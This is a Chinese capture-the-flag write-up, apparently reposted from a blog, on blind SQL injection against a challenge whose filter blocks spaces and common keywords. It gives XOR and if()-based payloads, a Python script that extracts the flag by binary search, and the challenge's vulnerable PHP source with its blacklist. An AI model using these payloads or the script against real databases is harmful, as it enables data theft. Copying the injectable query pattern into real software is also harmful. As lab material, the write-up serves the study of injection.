![](https://i-blog.csdnimg.cn/blog_migrate/7841cc623fb206b647f812cdf8f29321.png)
下面是测试
![](https://i-blog.csdnimg.cn/blog_migrate/5d060b545d6374a55991b767b7c2e55e.png)
![](https://i-blog.csdnimg.cn/blog_migrate/554eb6229bfb4a59b44b6a8b1185ef20.png)
只有这两个有结果,试试fuzz
![](https://i-blog.csdnimg.cn/blog_migrate/f12e637c49ee2df5fde1d1c35e318c5d.png)
设置攻击间隔,防429
![](https://i-blog.csdnimg.cn/blog_migrate/bc7bfbe84f3a70b3f48aa9ef584f892a.png)
这里使用盲注
异或
大概在这里应用就是假^假 =真 ,真^真=假,假^真=真,真^假=真
当我们查询 1^0、0^1、和 1 的回显是一样的,而查询 1^1 或0^0却会有报错提示。
所以结合 sql语句 ,我们可以构造0^payload,若为payload结果真,则返回1,0^1=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。
但如何构造payload,因为空格被过滤,所以用括号来代替分割,这里也算学的新方法,利用ASCII码来逐一匹配
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
import time
import requests
url = 'http://6f43c493-e79f-44fa-b66a-17a326f47b0c.node4.buuoj.cn:81/'
flag = ''
for i in range(1, 43):
max = 127
min = 0
for c in range(0, 127):
s = int((max + min) / 2)
payload = '1^(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))>' + str(s) + ')'
r = requests.post(url, data={'id': payload})
time.sleep(0.005)
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
max = s
else:
min = s
if (max - min) <= 1:
flag += chr(max)
print(flag)
break
2. sql的三目运算
if( 表达式1,表达式2,表达式3)
如果表达式1是正确的,那么执行表达式2,否则执行表达式3
如果 if 返回正确,则执行 1 ,返回 Hello, glzjin wants a girlfriend. 否则执行 2 ,则返回 Do you want to be my girlfriend?
if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
题目源码
<?php
$dbuser='root';
$dbpass='root';
function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);
if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}
参考原文链接:https://blog.csdn.net/TM_1024/article/details/106978766